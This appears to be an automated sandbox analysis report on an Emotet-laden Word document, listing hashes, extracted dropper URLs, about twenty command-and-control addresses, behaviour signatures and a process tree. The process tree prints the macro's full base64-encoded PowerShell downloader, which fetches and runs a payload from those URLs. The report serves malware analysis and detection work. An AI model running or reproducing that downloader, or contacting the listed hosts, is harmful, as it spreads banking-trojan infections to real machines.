Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

1

Analysis

  • max time kernel
    138s
  • max time network
    72s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    12/08/2020, 07:17

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e3_5a3d78dd9b9cec75aa6b0e2580b6787c82993c41877a5f072e8074ec0d8379fe_2020-08-12__071623._doc.doc
  • Size 228KB
  • Sample200812-71qa58cc7e
  • SHA256 5a3d78dd9b9cec75aa6b0e2580b6787c82993c41877a5f072e8074ec0d8379fe
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://dyzy.c8xtt.com/Uploads/12jtbnwh2xk54420382/
  • exe.dropper

    https://ilmazon.com/images/8nYBgh7izrva76988/
  • exe.dropper

    http://utsunomiya.demae.life/ibtql/WLy/
  • exe.dropper

    http://saharfiroozian.com/wp-admin/MWuA/
  • exe.dropper

    https://studentscorner.info/wp-content/P1p8fid651819/

Extracted

Family

  • emotet

C2

  • 92.24.51.238:80

  • 139.99.157.213:8080

  • 188.166.25.84:8080

  • 81.214.253.80:443

  • 5.79.70.250:8080

  • 41.185.29.128:8080

  • 181.164.110.7:80

  • 177.37.81.212:443

  • 203.153.216.178:7080

  • 178.33.167.120:8080

  • 77.74.78.80:443

  • 37.70.131.107:80

  • 190.164.75.175:80

  • 75.127.14.170:8080

  • 78.188.170.128:80

  • 113.161.148.81:80

  • 105.209.235.113:8080

  • 177.144.130.105:443

  • 81.17.93.134:80

  • 181.134.9.162:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_5a3d78dd9b9cec75aa6b0e2580b6787c82993c41877a5f072e8074ec0d8379fe_2020-08-12__071623._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:108
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABIAEkAUwBPAFgAZQB5AGQAPQAnAFMAUgBDAE8AUABkAGkAbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBVAHIASQBUAGAAeQBwAFIAYABPAGAAVABPAGAAQwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABUAEQAQQBEAEgAbABoAHQAIAA9ACAAJwAzADYAOAAnADsAJABBAFcAWQBLAE4AYgBxAGIAPQAnAFIARwBaAFYAQQBlAGMAcQAnADsAJABYAEwAQgBIAFAAdQBuAGUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFQARABBAEQASABsAGgAdAArACcALgBlAHgAZQAnADsAJABJAE8AWABKAEwAaAB2AG0APQAnAEUATwBXAFUAVgBiAG0AcwAnADsAJABVAFgAQgBaAEMAYgBqAHYAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQB0AC4AVwBFAEIAQwBMAEkARQBuAHQAOwAkAEkATQBTAFkAUwBkAGsAZgA9ACcAaAB0AHQAcAA6AC8ALwBkAHkAegB5AC4AYwA4AHgAdAB0AC4AYwBvAG0ALwBVAHAAbABvAGEAZABzAC8AMQAyAGoAdABiAG4AdwBoADIAeABrADUANAA0ADIAMAAzADgAMgAvACoAaAB0AHQAcABzADoALwAvAGkAbABtAGEAegBvAG4ALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8AOABuAFkAQgBnAGgANwBpAHoAcgB2AGEANwA2ADkAOAA4AC8AKgBoAHQAdABwADoALwAvAHUAdABzAHUAbgBvAG0AaQB5AGEALgBkAGUAbQBhAGUALgBsAGkAZgBlAC8AaQBiAHQAcQBsAC8AVwBMAHkALwAqAGgAdAB0AHAAOgAvAC8AcwBhAGgAYQByAGYAaQByAG8AbwB6AGkAYQBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBNAFcAdQBBAC8AKgBoAHQAdABwAHMAOgAvAC8AcwB0AHUAZABlAG4AdABzAGMAbwByAG4AZQByAC4AaQBuAGYAbwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBQADEAcAA4AGYAaQBkADYANQAxADgAMQA5AC8AJwAuACIAcwBgAFAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAFgARgBNAEcAYwBjAG0APQAnAFMAVwBCAEsATgBuAGkAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQAVQBOAEwARABVAG0AagB5ACAAaQBuACAAJABJAE0AUwBZAFMAZABrAGYAKQB7AHQAcgB5AHsAJABVAFgAQgBaAEMAYgBqAHYALgAiAEQAbwBXAG4ATABvAGEAZABGAGAASQBgAGwARQAiACgAJABVAE4ATABEAFUAbQBqAHkALAAgACQAWABMAEIASABQAHUAbgBlACkAOwAkAFgAUgBLAFIAUABiAGMAbAA9ACcAWQBXAEwAWQBJAGkAdAB0ACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAWABMAEIASABQAHUAbgBlACkALgAiAEwAYABlAE4AZwBUAGgAIgAgAC0AZwBlACAAMwA0ADkANQAxACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAGAAUgBgAGUAYQBUAGUAIgAoACQAWABMAEIASABQAHUAbgBlACkAOwAkAFYASABVAEcAWgBiAGMAcQA9ACcAVQBBAEoATQBSAGcAcABhACcAOwBiAHIAZQBhAGsAOwAkAFIASABEAEsAVgBwAGUAcAA9ACcAVQBOAFQAUQBUAHQAbwBoACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMATABLAFAATQBrAGUAcgA9ACcATwBLAFQAUgBUAGgAdABiACcA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1864
  • C:\Users\Admin\368.exe
    C:\Users\Admin\368.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1316
    • C:\Windows\SysWOW64\ddrawex\shpafact.exe
      "C:\Windows\SysWOW64\ddrawex\shpafact.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1552

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/108-10-0x0000000002020000-0x0000000002021000-memory.dmp
        Download

        memory/108-8-0x00000000070A0000-0x00000000072A0000-memory.dmp
        Download

        memory/108-2-0x00000000087E0000-0x00000000087E4000-memory.dmp
        Download

        memory/108-5-0x000000000A8F0000-0x000000000A8F4000-memory.dmp
        Download

        memory/108-6-0x000000000B970000-0x000000000B974000-memory.dmp
        Download

        memory/832-24-0x000007FEEF380000-0x000007FEEF5FA000-memory.dmp
        Download

        memory/1316-19-0x0000000000260000-0x000000000026C000-memory.dmp
        Download

        memory/1552-23-0x0000000000250000-0x000000000025C000-memory.dmp
        Download

        memory/1864-13-0x000000001AB90000-0x000000001AB91000-memory.dmp
        Download

        memory/1864-17-0x000000001AA60000-0x000000001AA61000-memory.dmp
        Download

        memory/1864-16-0x000000001C550000-0x000000001C551000-memory.dmp
        Download

        memory/1864-15-0x00000000023A0000-0x00000000023A1000-memory.dmp
        Download

        memory/1864-14-0x0000000002440000-0x0000000002441000-memory.dmp
        Download

        memory/1864-12-0x0000000002260000-0x0000000002261000-memory.dmp
        Download

        memory/1864-9-0x000007FEE99B0000-0x000007FEEA39C000-memory.dmp
        Download